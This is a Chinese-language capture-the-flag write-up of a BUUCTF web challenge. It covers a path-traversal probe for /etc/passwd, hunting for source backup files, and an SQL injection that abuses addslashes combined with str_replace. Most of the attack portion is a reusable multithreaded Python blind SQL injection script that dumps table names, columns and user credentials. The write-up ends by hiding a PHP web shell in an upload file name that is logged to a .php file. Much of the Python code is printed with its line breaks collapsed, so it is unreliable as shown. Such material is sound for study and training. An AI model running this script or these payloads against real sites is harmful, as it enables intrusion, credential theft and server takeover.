登錄界面可以看到隨機切換的圖片。從頁面源碼中可以看到<div class="avtar"><img src="image.php?id=3" width="200" height="200"/></div>
,圖片文件的請求地址,并且有傳參id。web應用中像這種動態獲取圖片的實現邏輯一般是根據id從文件系統中讀取圖片資源,那如果沒有對id進行嚴格過濾的話就可能造成文件泄露。
如果后端是$path = "images/" . $_GET['id'] . ".png"
像這樣直接將id拼接到路徑中,或許可以利用目錄穿越。
嘗試…/…/…/…/…/…/…/…/etc/passwd發現沒有回顯,很有可能后端對id進行了類型限制,試試看1…/…/…/…/…/…/…/…/etc/passwd,發現返回的是圖片數據,那說明被當作了數字1,說明后端應該不是拼接路徑,很可能是根據id查詢數據庫或者文件系統,并且將id用引號包裹起來了。
需要獲得源碼才行,掃掃有沒有備份文件。利用dirsearch看到有robots.txt,訪問給了個文件/static/secretkey.txt,但是里面沒什么東西,只有一句話“you never guess”,跟題解有所不同。雖然看了答案知道有.php.back備份文件,但是比賽的時候肯定得靠自己去猜。利用字典進行備份文件掃描的時候有index.php.bak,但是這道題只有image.php.bak,像這種并不花哨而且找不到任何線索的題,大概率就是源碼泄露,下次可以大膽猜測。
常見文件名 / 格式 | 說明 | 示例路徑 |
---|---|---|
文件名~(如index.php~) | Linux 下 Vim/Sublime 生成的備份文件(末尾加~) | http://target.com/index.php~ |
.#文件名(如.#config.php) | Vim 編輯時生成的臨時交換文件(開頭.#) | http://target.com/.#config.php |
文件名.bak/文件名.back(如config.php.bak) | 手動添加的備份后綴(開發常用) | http://target.com/config.php.bak |
文件名.txt(如config.txt) | 為方便查看,將配置文件改為 TXT 格式備份 | http://target.com/config.txt |
<?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
直接將參數拼入sql語句,這是很危險的。不過他正確使用了addslashes函數進行特殊字符轉義。但是,又用了str_replace將某些字符替換為空,這和上次那道連續使用兩個轉移函數造成特殊字符逃逸差不多,這邊也可以構造逃逸。
addslashes函數默認轉義的字符:?
單引號('):轉義后為 '?
雙引號("):轉義后為 "?
反斜杠(\):轉義后為 \?
NUL 字符(ASCII 碼 0 的空字符,通常用 \0 表示):轉義后為 \0
另外一個注意的地方是這邊替換掉的是\0
%00
\\
'
,因為在str_replace函數中這些字符是用雙引號包裹的,會轉義一次。
我們可以在id中構造\0
,經過addslashes函數轉義變成\\0
,然后替換函數會將\0
替換為空,就留下了一個反斜杠。拼入sql語句就是:
select * from images where id=' \' or path='{$path}'
此時單引號被轉義,id的值變成了' \' or path='
,$path中的東西就成功逃逸出來了。但是此時最后還有一個單引號怎么辦呢?考慮閉合或者用注釋符。
怎么構造payload得到敏感文件呢?讀取的文件是查詢結果中的path字段,但是我們并不知道數據庫中有什么。
嘗試:
id=\0&path=or id=‘1’#
id=\0&path=or id='1
發現都不行,說明這樣處理單引號不行,哦對因為單引號被替換為空了
id=\0&path=or 1=1#
這樣也不行,難道是#沒有生效?原來是直接在地址欄輸入#不會被url編碼,而是被當作注釋符了。
id=\0&path=or 1=1%23 成功了。先看看images表中有沒有信息。
id=\0&path=or 1=1 limit 1,1%23 只有三張圖片。看來需要利用盲注找其他表。
注入位置是id=\0&path=or 1={xxx}%23
套用腳本:
import random
import time
import requests
from concurrent.futures import ThreadPoolExecutor
# -----------注意訪問的文件
url = 'http://2182da8a-d0d4-461b-ab4a-05f5d542b169.node5.buuoj.cn:81/image.php'
# -----------標志性回顯
# symbol = 'Nu1L'
# -----------爆破位置payload
# select = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())'
# select = 'select(group_concat(column_name))from(information_schema.columns)where((table_name)=(0x7573657273))'
select = 'select group_concat(username)from users'
# -----------爆破長度payload
# select_len = 'select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database())'
# select_len = 'select(length(group_concat(column_name)))from(information_schema.columns)where((table_name)=(0x7573657273))'
select_len = 'select length(group_concat(username))from users'
length = 0
result = [''] * 1000 # 使用列表存儲結果,避免線程安全問題def make_request(url, param):try:r = requests.get(url, params=param, timeout=30)# r = requests.post(url, data=param, timeout=30)r.raise_for_status() # 檢查HTTP狀態碼return rexcept requests.exceptions.Timeout:print("[-] 請求超時,請檢查網絡連接或增加超時時間")except requests.exceptions.HTTPError as e:print(f"[-] HTTP錯誤: {e.response.status_code}")except requests.exceptions.RequestException as e:print(f"[-] 請求異常: {str(e)}")return Nonedef make_request_with_retry(url, param):global resultr = make_request(url, param)if not r:print("[-] 重試")time.sleep(random.randint(0, 10))r = make_request(url, param)if not r:return Nonereturn rdef get_length_with_BinarySearch():global lengthlow, high = 0, 500while low <= high:mid = (low + high) // 2param = {'id': '\\0', # 用雙反斜杠表示字面意義的\0'path': f"or 1=(({select_len})>={mid})#"}# print(param)r = make_request_with_retry(url, param)if not r:print(f"[-]長度爆破失敗")# print(r.content)# if symbol in r.text:if len(r.content) > 0:# 大于等于midparam = {"id": '\\0',"path": f"or 1=(({select_len})={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-]長度爆破失敗")# if symbol in r.text:if len(r.content) > 0:print(f"長度為{mid}")length = midbreakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1def get_char_at_position(i):global resultprint(f"[*] 開始注入位置{i}...")low, high = 31, 127while low <= high:mid = (low + high) // 2param = {'id': '\\0', # 用雙反斜杠表示字面意義的\0'path': f"or 1=(ord(substr(({select}),{i},1))>={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'break# if symbol in r.text:if len(r.content) > 0:# 大于等于midparam = {'id': '\\0', # 用雙反斜杠表示字面意義的\0'path': f"or 1=(ord(substr(({select}),{i},1))={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'break# if symbol in r.text:if len(r.content) > 0:# 等于midresult[i - 1] = chr(mid)print(f"[*] 位置{i}字符為{chr(mid)}")breakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1# # -----------------失敗位置重試,如果有個別地方沒有爆破成功可以在這里進行單獨爆破
# position = {12, 15}
# for i in position:
# get_char_at_position(i)# ------------------爆破長度
get_length_with_BinarySearch()if length == 0:print("[-] length為0,請檢查錯誤")exit(0)# # ------------------單線程爆破
# for i in range(1, length+1):
# get_char_at_position(i)# ------------------多線程爆破
with ThreadPoolExecutor(max_workers=10) as executor:futures = [executor.submit(get_char_at_position, i) for i in range(1, length + 1)]# 等待所有任務完成for future in futures:future.result()# 過濾空字符并拼接結果
final_result = ''.join(filter(None, result))
print("最終結果:", final_result)# 出錯的位置
positions = []
for index, char in enumerate(final_result):if char == '?':positions.append(index+1)
print("出錯位置:", positions)
有三個注意的點:
- 這里響應是圖片,所有不能再用r.text來作為判斷條件,可以通過響應長度不同來判斷。
- 由于單雙引號被禁用,所以在最后查字段的時候表名需要用十六進制編碼,因為在Mysql中十六進制編碼會自動解碼為字符串,可以繞過引號。
- 通過request來發起請求的時候,客戶端會自動對params進行url編碼,所以如果#仍然寫成%23就會導致二次編碼。
最后爆出來:admin b028759c31b4a29d54f6
登錄進去。發現是文件上傳,隨便上傳一個文件發現:
I logged the file name you uploaded to logs/upload.05571ffc0f0ba134f932c75082af160e.log.php. LOL
看一下該日志文件:User admin uploaded file shell.jpg.
那是不是能將木馬放到文件名中。試一下
使用蟻劍成功連接。
總結一下:首先需要獲得image.php.bak源碼文件,然后利用sql漏洞布爾盲注獲得用戶密碼,登錄后發現能上傳文件至php文件,并且記錄文件名,于是直接將一句話木馬放到文件名中。